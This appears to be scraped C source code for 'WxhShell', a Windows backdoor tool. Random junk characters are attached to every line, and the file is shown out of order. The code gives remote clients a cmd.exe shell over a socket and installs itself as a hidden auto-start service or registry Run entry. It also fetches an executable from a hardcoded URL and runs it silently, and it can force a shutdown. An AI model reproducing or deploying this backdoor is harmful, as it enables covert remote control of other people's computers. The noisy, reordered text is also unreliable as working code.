  case 'd': { {dP6fr1z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?b'(39fj  
    if(Boot(SHUTDOWN)) `8#xO{B1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S 1^t;{"  
    else { g.blDOmlc  
    closesocket(wsh); KHx;r@{<  
    ExitThread(0); O"kb*//  
    } ZR0 OqSp]  
    break; 'vu]b#l3  
    } @%*@Rar  
  // 获取shell n%RaEL  
  case 's': { >?)_, KL  
    CmdShell(wsh); YU`k^a7%  
    closesocket(wsh); K>LS8,8V  
    ExitThread(0); aIQC[ry  
    break; ^c9_F9N  
  } 6[RTL2&W  
  // 退出 1JdMw$H  
  case 'x': { ~Ym*QSD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]bmf}&  
    CloseIt(wsh); f%1\1_^g  
    break; 7fzH(H  
    } 0-aaLC~Z>  
  // 离开 #O,w{S  
  case 'q': { !};Ll=dz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z%LS{o~LK.  
    closesocket(wsh); ]N0B.e~D  
    WSACleanup(); ) ?B-en\  
    exit(1); $I/ !vV  
    break; 4 #KC\C  
        } ,' t&L]  
  } d8R|0RZ  
  } #*lDKn[vO  
q[W@.[2y)  
  // 提示信息 uHbbPtk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VPuo!H  
} p\#;(pf}s  
  } 'rFLG+W  
[+CFQf>  
  return; ]\>MDH  
} c&%3k+j  
pFiE2V_aS  
// shell模块句柄 bF*Kb"!CF  
int CmdShell(SOCKET sock) xC= $ym]  
{ i$}G[v<4  
STARTUPINFO si; )+hJi/g  
ZeroMemory(&si,sizeof(si)); _8-1wx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Er8F_,M+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x*tCm8`{  
PROCESS_INFORMATION ProcessInfo; .YH#+T'  
char cmdline[]="cmd"; {|j-e{*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $AvaOI.l  
  return 0; p`Tl)[*  
} Y#-c<o}f  
*%_M?^  
// 自身启动模式 EV* |\ te  
int StartFromService(void) -iW>T5f  
{ S;iD~>KP  
typedef struct !B{(EL=g  
{ 1cMdoQ  
  DWORD ExitStatus; hBcklI  
  DWORD PebBaseAddress; OI:=>Bk  
  DWORD AffinityMask; 0$Zh4Y  
  DWORD BasePriority; )@y'$)5s  
  ULONG UniqueProcessId; &gC)%*I 4  
  ULONG InheritedFromUniqueProcessId; @m:' L7+  
}   PROCESS_BASIC_INFORMATION; ~R=p[h)  
A,4} $-7  
PROCNTQSIP NtQueryInformationProcess; =z<sx2#*  
`'mRGz7t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v$q\3#5|'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .{bT9Sc5  
s2 aFme  
  HANDLE             hProcess; i?#U>0!  
  PROCESS_BASIC_INFORMATION pbi; )PkGT~3I  
)[&j&AI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dk")/ ib  
  if(NULL == hInst ) return 0; -s le7k  
zH~g5xgh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c$u#U~~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0lcwc"_DZX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fHI@' '0  
=M4wP3V/  
  if (!NtQueryInformationProcess) return 0; K&dc< 4DC  
u8<Fk !  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u V'C_H  
  if(!hProcess) return 0; **6X9ZIX[  
:,/ \E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X C390t  
h4ghMBo%  
  CloseHandle(hProcess); )^ )|b5,  
;D4 bxz0ou  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rXe+#`m2  
if(hProcess==NULL) return 0; eB,@oo%  
Tn38]UL  
HMODULE hMod; %F;uW[4r  
char procName[255]; SokU9n!  
unsigned long cbNeeded; NB(  GE  
'$ G%HUn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9N) Ea:N  
C8:y+pH_U;  
  CloseHandle(hProcess); )^E6VD&6  
%6@m~;c0  
if(strstr(procName,"services")) return 1; // 以服务启动 pf=CP%L  
{gDoktC@M  
  return 0; // 注册表启动 ^*~4[?]S  
} *iPBpEWC  
d+8|aS<A  
// 主模块 [t5 Dd  
int StartWxhshell(LPSTR lpCmdLine) L>57eF)7  
{ RT9%E/m  
  SOCKET wsl; j2n 4; m  
BOOL val=TRUE; 3}.OSt'=  
  int port=0; Y[;Z7p  
  struct sockaddr_in door; lgHzI(  
. ve a[  
  if(wscfg.ws_autoins) Install(); -#AO4xpI  
3[m~6 Ys  
port=atoi(lpCmdLine); 4'`*Sce}  
|qq29dS?  
if(port<=0) port=wscfg.ws_port; {UhpN"'"n  
]}_Ohe]X  
  WSADATA data; gGbqXG^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u)P)r,  
`M_w^&6+n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %9t=Iu*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .8CfCRq  
  door.sin_family = AF_INET; q&wv{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~~WX#Od*$  
  door.sin_port = htons(port); %BRll  
6b4]dvl_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { elP#s5l4  
closesocket(wsl); %Vsg4DRy  
return 1; ?T[K{t;~jo  
} 1 |3vwgRhs  
F;Ubdxwwl  
  if(listen(wsl,2) == INVALID_SOCKET) { |c,'0V,"cH  
closesocket(wsl); E0Kt4%b  
return 1; _eaK:EW  
} ]=]`Mnuxb  
  Wxhshell(wsl); `S=4cSH(  
  WSACleanup(); S'AS,'EnY  
Vjr}"K$Y  
return 0; :HN\A4=kc(  
@'?7au ''  
} .[o?qCsw  
d1d:5 b  
// 以NT服务方式启动 kmsgaB7?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8PW3x-+  
{ {=E,.%8  
DWORD   status = 0; !f8]gTzN  
  DWORD   specificError = 0xfffffff; 4({Wipd  
ew8Manx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LBhDP5qF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4p`z%U~=u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q .cL1uHc  
  serviceStatus.dwWin32ExitCode     = 0; iA+zZVwO  
  serviceStatus.dwServiceSpecificExitCode = 0; }cI _$  
  serviceStatus.dwCheckPoint       = 0; A4VV y~sd  
  serviceStatus.dwWaitHint       = 0; zLVk7u{e  
1Q??R }  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +0n,>eDjg^  
  if (hServiceStatusHandle==0) return; d7L|yeb"  
C;rK16cn  
status = GetLastError(); xo(3<1mD  
  if (status!=NO_ERROR) >zcp(M98  
{ ,6^V)F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e&XJK*Wf   
    serviceStatus.dwCheckPoint       = 0; %0Ke4c  
    serviceStatus.dwWaitHint       = 0; T9Pu V  
    serviceStatus.dwWin32ExitCode     = status; ? `#  
    serviceStatus.dwServiceSpecificExitCode = specificError; WLN;LT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?rububDT{  
    return; nA XWbavY  
  } @?<1~/sfL  
7.1FRxS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )m$i``*<  
  serviceStatus.dwCheckPoint       = 0; e{IwFX  
  serviceStatus.dwWaitHint       = 0; QU^?a~r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hc5iIJ]  
} AU H_~SY  
H-Or  
// 处理NT服务事件,比如:启动、停止 EN2/3~syO-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UNKXfe(X9  
{ CKRnkTTiV  
switch(fdwControl) F%e5j9X`  
{ uze5u\  
case SERVICE_CONTROL_STOP: Je;HAhL  
  serviceStatus.dwWin32ExitCode = 0; g 2&P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U10:@Wzh  
  serviceStatus.dwCheckPoint   = 0; H=7Nh6v  
  serviceStatus.dwWaitHint     = 0; RB/;qdqR  
  { 2o9IP>#u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D,;6$Pvg^  
  } ++M%PF [ {  
  return; Z"g6z#L&  
case SERVICE_CONTROL_PAUSE: 6I$:mHEhd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /c-%+Xd  
  break; nL-kBW Ed>  
case SERVICE_CONTROL_CONTINUE: -&_;x&k /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +^@6{1  
  break; 5NAB^&{Z<X  
case SERVICE_CONTROL_INTERROGATE: Cr$8\{2OA7  
  break; c9N5c  
}; V(6ovJpA0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .2:S0=xt<  
} Z?tw#n[T  
F6 c1YI[  
// 标准应用程序主函数  8&KqrA86  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8 n)3'ok  
{ Nc[V kJ]  
`z!?!"=  
// 获取操作系统版本 _i+7O^=d6X  
OsIsNt=GetOsVer(); qx\P(dOUf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;tu2}1#r  
?>o|H-R~5Z  
  // 从命令行安装 B#;0{  
  if(strpbrk(lpCmdLine,"iI")) Install(); joJ:* oL  
"?TKz:9r  
  // 下载执行文件 Wc- 8j2M  
if(wscfg.ws_downexe) { XP!7@:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y@Q? guB  
  WinExec(wscfg.ws_filenam,SW_HIDE); n aB`@  
} =5Auk 5&  
H g;;>  
if(!OsIsNt) { AIa#t#8${  
// 如果时win9x,隐藏进程并且设置为注册表启动 (dVrGa54  
HideProc(); :#zv,U&OC  
StartWxhshell(lpCmdLine); ?3+>% bO  
} maTZNzy  
else `d i/nv)  
  if(StartFromService()) BY^5z<^.  
  // 以服务方式启动 0vm}[a4+i;  
  StartServiceCtrlDispatcher(DispatchTable); JqYt^,,Q:  
else n^Sc*7  
  // 普通方式启动 f'3sT(1&  
  StartWxhshell(lpCmdLine); hz_F^gF  
v"a.%" oN8  
return 0; O:3DIT1#>  
} i(@<KH  
bZsg7[: C  
a2N4Jg@  
mrz@Y0mgL  
=========================================== IB+)2`  
'+{dr\nJ  
3?R QPP  
tug\X  
*X4$'LSx1  
&k2nt  
" znl_~:.4]X  
Tx'ctd#Y  
#include <stdio.h> N$SJK  
#include <string.h> +B0G[k7  
#include <windows.h> v/B:n   
#include <winsock2.h> rv?d3QqIC  
#include <winsvc.h> ~NtAr1  
#include <urlmon.h> qxe%RYdA'j  
qW6}^aa  
#pragma comment (lib, "Ws2_32.lib") SMdkD]{g  
#pragma comment (lib, "urlmon.lib") H;O PA8\n  
f:-dw6a=s  
#define MAX_USER   100 // 最大客户端连接数 t,yzqn  
#define BUF_SOCK   200 // sock buffer E5b JIC(  
#define KEY_BUFF   255 // 输入 buffer p-t*?p C  
+2+wNFU  
#define REBOOT     0   // 重启 .4NQ2k1io  
#define SHUTDOWN   1   // 关机 op%?V :  
(\6R"2  
#define DEF_PORT   5000 // 监听端口 dnP3{!"b  
on q~wEr  
#define REG_LEN     16   // 注册表键长度 cOr@dUSL  
#define SVC_LEN     80   // NT服务名长度 8>|@O<2\  
$q6'VLPo  
// 从dll定义API s*B-|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kc:} Ky  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %g>{m2o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PNbs7f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f1RfNiW.  
!B3lsXLSY  
// wxhshell配置信息 hoQ?8}r:  
struct WSCFG { #`0iN+qh  
  int ws_port;         // 监听端口 7o4 vf~  
  char ws_passstr[REG_LEN]; // 口令 rGe^$!QB  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^{W#ut>IN  
  char ws_regname[REG_LEN]; // 注册表键名 :tA|g  
  char ws_svcname[REG_LEN]; // 服务名 ,T|%vqbmw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Tf R].  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S}hg*mWn{$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nd] AvVS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XTZI !  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j8G>0f)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %T&#JF+;  
YTco;5/  
}; ^<e"OV  
o\luE{H .?  
// default Wxhshell configuration (qP !x 2j  
struct WSCFG wscfg={DEF_PORT, LEJ7.82  
    "xuhuanlingzhe", ,Wp0,>!  
    1, L^`oJ9k!  
    "Wxhshell", .F~EQ %  
    "Wxhshell", cg,_nG]i  
            "WxhShell Service", }<wj~f([  
    "Wrsky Windows CmdShell Service", R<!WW9IM  
    "Please Input Your Password: ", B9_0 Yq  
  1, [\ JZpF  
  "http://www.wrsky.com/wxhshell.exe", A/U tf0{3"  
  "Wxhshell.exe" i`g>Y5   
    }; N[$(y} !s  
T_}\  
// 消息定义模块 rwxJR@Ttn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fuH Dif,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XKsG2>l-W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V#TA%>  
char *msg_ws_ext="\n\rExit."; (!';  
char *msg_ws_end="\n\rQuit."; Oed&B  
char *msg_ws_boot="\n\rReboot..."; g(:y_EpmLH  
char *msg_ws_poff="\n\rShutdown..."; B%Yb+M&K  
char *msg_ws_down="\n\rSave to "; a<V=C  
S)"5X)mq  
char *msg_ws_err="\n\rErr!"; |7zm!^t$  
char *msg_ws_ok="\n\rOK!"; ]sjOn?YA+  
F|V co]"S1  
char ExeFile[MAX_PATH]; OD"eB?  
int nUser = 0; tE{7S/?h  
HANDLE handles[MAX_USER]; KG#|Cq  
int OsIsNt; iR#jBqXD  
,gU9y wg  
SERVICE_STATUS       serviceStatus; ?.A6HrAPB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'ce9v@(0  
$`'^&o;&f  
// 函数声明 <,0& Ox  
int Install(void); 2|~& x~  
int Uninstall(void); ?<  w +{  
int DownloadFile(char *sURL, SOCKET wsh); @D"1}CW  
int Boot(int flag); S$"A[  
void HideProc(void); 7$GP#V1r/  
int GetOsVer(void); f|VP_o<  
int Wxhshell(SOCKET wsl); a~ REFy  
void TalkWithClient(void *cs); $^7 &bQ  
int CmdShell(SOCKET sock); cQPH le2  
int StartFromService(void); T6H"ER$  
int StartWxhshell(LPSTR lpCmdLine); iA ZtV'VQ)  
&TbnZnv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !wrl.A/P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O!f* @  
]?)zH:2)  
// 数据结构和表定义 XB;;OP12  
SERVICE_TABLE_ENTRY DispatchTable[] = 1'_OM h*;  
{ t*Q12Q  
{wscfg.ws_svcname, NTServiceMain}, fWm;cDM H  
{NULL, NULL} wq]nz!  
}; y i@61XI  
dl{3fldb  
// 自我安装 L761m7J]B  
int Install(void) lQ+-g#`  
{ >5 5/@+^  
  char svExeFile[MAX_PATH]; Q)a*bPz  
  HKEY key; *pasI.2s#  
  strcpy(svExeFile,ExeFile); 6-X7C9`C  
N&>D/Z;"  
// 如果是win9x系统,修改注册表设为自启动 QW2% Gv:  
if(!OsIsNt) { \iVYhl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eun%uah6c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r9vC&pWZ  
  RegCloseKey(key); |E7]69=P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~`N|sI,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [1vrv(u>  
  RegCloseKey(key); NM]6  o  
  return 0; I3s}t$`y(  
    } 8'cDK[L  
  } 3YT _GW{  
} d'-^ VxO0  
else { Dkdm~~Rr  
\aW5V:?  
// 如果是NT以上系统,安装为系统服务 jA]xpf6}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v5$zz w  
if (schSCManager!=0) A`r&"i OKA  
{ Y2$ % %@  
  SC_HANDLE schService = CreateService 3]VTQl{P  
  (  b'{D4/  
  schSCManager, P7Y[?='v  
  wscfg.ws_svcname, \|&5eeE@  
  wscfg.ws_svcdisp, )O&$-4gL'  
  SERVICE_ALL_ACCESS, $K G?d>wx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zR<jZwo]#  
  SERVICE_AUTO_START, :e9E#o  
  SERVICE_ERROR_NORMAL, [w4z)!  
  svExeFile, 3> fuH'=  
  NULL, ja>Tnfu  
  NULL, [D?E\Nkk  
  NULL, c&_3"2:  
  NULL, gh 0\9;h  
  NULL /V*eAn8>  
  ); [}AcCXg`L  
  if (schService!=0) 3?}SXmA'@  
  { |F=^Cu,  
  CloseServiceHandle(schService); 0CN .gu  
  CloseServiceHandle(schSCManager); W4|;JmT.r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QWP_8$Q  
  strcat(svExeFile,wscfg.ws_svcname); &`%C'KZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?D~uR2+Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PHOW,8)dZh  
  RegCloseKey(key); WMC6 dD_6e  
  return 0; 4v?S` w:6  
    } {l1;&y?  
  } hmi15VW  
  CloseServiceHandle(schSCManager); [j/-(?+  
} (nzzX?`nY  
} ~p 1y+  
r:o!w7C:a  
return 1; \4&g5vE  
} oyd{}$71d  
'\;tmD"N5#  
// 自我卸载 9(I4x]`  
int Uninstall(void) [gE2lfaEy  
{ oy |@m|J  
  HKEY key; f[ywC$en  
1GNA x\(  
if(!OsIsNt) { SVHtv0Nx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a&<<X:$Hy  
  RegDeleteValue(key,wscfg.ws_regname); s6 ^JgdW  
  RegCloseKey(key); O|/tRkDMP{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lDA%M3(p  
  RegDeleteValue(key,wscfg.ws_regname); i}YnJ  
  RegCloseKey(key); @GV^B'}*  
  return 0; 1hN! 2Y:  
  } _1Eyqh`oh  
} lV 1|\~?4  
} MWuVV=rd8a  
else { "N;|~S)w!  
S,v`rmI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); - t+Mh.  
if (schSCManager!=0) 'F~u \m=E  
{ g?`J,*y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I F@M  
  if (schService!=0) Nf~<xK  
  { R}]FIu  
  if(DeleteService(schService)!=0) { 'SY &-<t(  
  CloseServiceHandle(schService); BCj&z{5"7e  
  CloseServiceHandle(schSCManager);  ?b0\[  
  return 0; ,)RdXgCs  
  } B+<k,ad  
  CloseServiceHandle(schService); Q9'p2@Z  
  } OwEz( pj@  
  CloseServiceHandle(schSCManager); pqe tYu  
} 4M]8po/;  
} )<|TEp4r-  
Q&J,"Vxw  
return 1; : ?V;  
} ?-f>zx8O  
Cr` 0C  
// 从指定url下载文件 `#]\Wnp~y  
int DownloadFile(char *sURL, SOCKET wsh) fS ~.K9  
{ 1m0':n Vdu  
  HRESULT hr; $1v5*E  
char seps[]= "/"; 0v_8YsZ!`$  
char *token; g DhwJks  
char *file; ![ QQF|  
char myURL[MAX_PATH]; =bDG|:+  
char myFILE[MAX_PATH]; "OPUGwf  
=~h54/#[I  
strcpy(myURL,sURL); s*IfXv  
  token=strtok(myURL,seps); L`#+ZLo  
  while(token!=NULL) kpdFb7>|  
  { ^ WNJQg'  
    file=token; 2 zy^(%a  
  token=strtok(NULL,seps); :QVGY^c  
  } Y!L jy [/  
? Z=v&d[o)  
GetCurrentDirectory(MAX_PATH,myFILE); )~/U+,  
strcat(myFILE, "\\"); VPHCPGrk  
strcat(myFILE, file); -: ,h8JyMP  
  send(wsh,myFILE,strlen(myFILE),0); r>Ln*R,9D  
send(wsh,"...",3,0); I?>#neHc6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <%z/6I Af|  
  if(hr==S_OK) B4}XK =)  
return 0; Y[!a82MTzn  
else ]Q3Gj@6  
return 1; 8VZ-`?p  
 q0~_D8e,  
} p{rS -`I  
xeI{i{8  
// 系统电源模块 2]+.8G7D%  
int Boot(int flag) -)oBh  
{ a5-\=0L~  
  HANDLE hToken; '!R,)5l0h  
  TOKEN_PRIVILEGES tkp; T?Y\~.+99  
_#C}hwOR>X  
  if(OsIsNt) { U]|q4!WE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IfcFlXmt2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,<1*  
    tkp.PrivilegeCount = 1; 6"7qZq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z'lNO| nU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ro<kp8  
if(flag==REBOOT) { aW"!bAdx`,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) />C~a]}  
  return 0; ]lUu%<-;  
} o(P:f)B  
else { RY{tX`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =FmU]DV  
  return 0; x/=j$oA  
} j;)6uia*A  
  } qedGBl&  
  else { MbfzGYA2~  
if(flag==REBOOT) { $T6Qg(p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  qR qy  
  return 0; yjd'{B9{  
} `dP+5u!  
else { *K|aK p}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D.(G9H  
  return 0; tWn m{mF  
} ~8*oGG~s  
} YJ$ewK4E#.  
B5:g{,C  
return 1; F-^HN%  
} `VtwKt*  
<+gl"lG  
// win9x进程隐藏模块 ` a>vPW  
void HideProc(void) s3{s.55{m  
{ &._!)al  
a[n$qPm}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `?JgHk  
  if ( hKernel != NULL ) QIK73^  
  { pGY]Vw Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iwQ-(GjM[A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'c&@~O;^d  
    FreeLibrary(hKernel); /\rq$W_  
  } T3./V0]\I  
,dx)rZ*  
return; JtpY][}"~3  
} L\NZDkd  
/ w M  
// 获取操作系统版本 ~lqGnNhh 7  
int GetOsVer(void) 5L}>+js2  
{ 5lnSa+_/f  
  OSVERSIONINFO winfo; ulf/C%t,R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <z uE=0P~%  
  GetVersionEx(&winfo); ex \W]5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zpqGh  
  return 1; )7GLS\uf<%  
  else WEtA4zCO  
  return 0; 61W/BU7O  
} hG7S]\N_  
VONAw3k7!  
// 客户端句柄模块 QO{=Wi-  
int Wxhshell(SOCKET wsl) !y-2#  
{ 4;RCPC  
  SOCKET wsh; m SzpRa  
  struct sockaddr_in client; [fi'=Cb  
  DWORD myID; `uh@iD'KI  
|<-F|v9og  
  while(nUser<MAX_USER) <{420  
{ rAWl0y_m  
  int nSize=sizeof(client); W[E3P,XS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xwnoZ&h  
  if(wsh==INVALID_SOCKET) return 1; :KSor}t  
JhCkkw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N4 mJU'_{  
if(handles[nUser]==0) +xfW`[.{  
  closesocket(wsh); +'/}[1q1/T  
else (\t_Hs::a  
  nUser++; 12sD|j  
  } V.ji _vX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] 5v4^mk  
qmA2bw]  
  return 0; 'd #\7J>d  
} _/}Hqh  
& 8' (  
// 关闭 socket Y#&0x_Z  
void CloseIt(SOCKET wsh) U`8 |9v  
{ G4Kmt98I  
closesocket(wsh); 5!F\h'E  
nUser--; yd ND$@; Z  
ExitThread(0); HNy/ -  
} x8?x/xE  
5 n+ e  
// 客户端请求句柄 pzq; vMr  
void TalkWithClient(void *cs) pEVgJ/>  
{ #[a"%byTR  
) wY!/&  
  SOCKET wsh=(SOCKET)cs; g&+Y{*Gp  
  char pwd[SVC_LEN]; 6f?BltFaN  
  char cmd[KEY_BUFF]; 7q!yCU  
char chr[1]; tB7K&ssi  
int i,j; n2d8;B#  
BKQIo)g.G  
  while (nUser < MAX_USER) { /Y[o=Uyl  
-nk#d%a\  
if(wscfg.ws_passstr) { d)0LVa(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (+UmUx=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LR3`=Z9  
  //ZeroMemory(pwd,KEY_BUFF); ~#"7,rQp  
      i=0; )ojx_3j8  
  while(i<SVC_LEN) { N xb\[  
h zZ-$IX X  
  // 设置超时 cc41b*ci$  
  fd_set FdRead; R6q4 ["  
  struct timeval TimeOut; iog # ,  
  FD_ZERO(&FdRead); 8jggc#.  
  FD_SET(wsh,&FdRead); 5, -pBep<  
  TimeOut.tv_sec=8; wI! +L&Q  
  TimeOut.tv_usec=0; t0e{| du  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^+*GbY$'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hB?,7-  
VJN/#   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x^)g'16`  
  pwd=chr[0]; ^p 2.UW  
  if(chr[0]==0xd || chr[0]==0xa) { g={]Mzh  
  pwd=0; N&fW9s}  
  break; 1Sg|3T8bGT  
  } f4'El2>-86  
  i++; v`S2M  
    } rToaGQh  
"[*S?QO(L  
  // 如果是非法用户,关闭 socket /WgPXEB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Y &9 qt  
} ?aFr8i:)M  
WVS$O99Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LBmM{Gu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cX %:  
(@)2PO /  
while(1) { %1\v7Xw{9  
D[89*@v  
  ZeroMemory(cmd,KEY_BUFF); ZT) !8  
Cf0|Z  
      // 自动支持客户端 telnet标准   *$i;o3  
  j=0; 6| *(dE2x(  
  while(j<KEY_BUFF) { 7q%|4Z-~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^^7L"je]g  
  cmd[j]=chr[0]; s~=KhP~  
  if(chr[0]==0xa || chr[0]==0xd) { qr)v'aC3  
  cmd[j]=0; <.,RBo  
  break; 1l/AKI(!  
  } 4>4V-m\  
  j++; ;w`sz.  
    } *A?8F"6>  
5LQk8NPh  
  // 下载文件 JFkN=YR8  
  if(strstr(cmd,"http://")) { WI1T?.Gc   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :7p9t.R<$h  
  if(DownloadFile(cmd,wsh)) {I0w`xe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ePp[m zg6  
  else *8$>Whr  
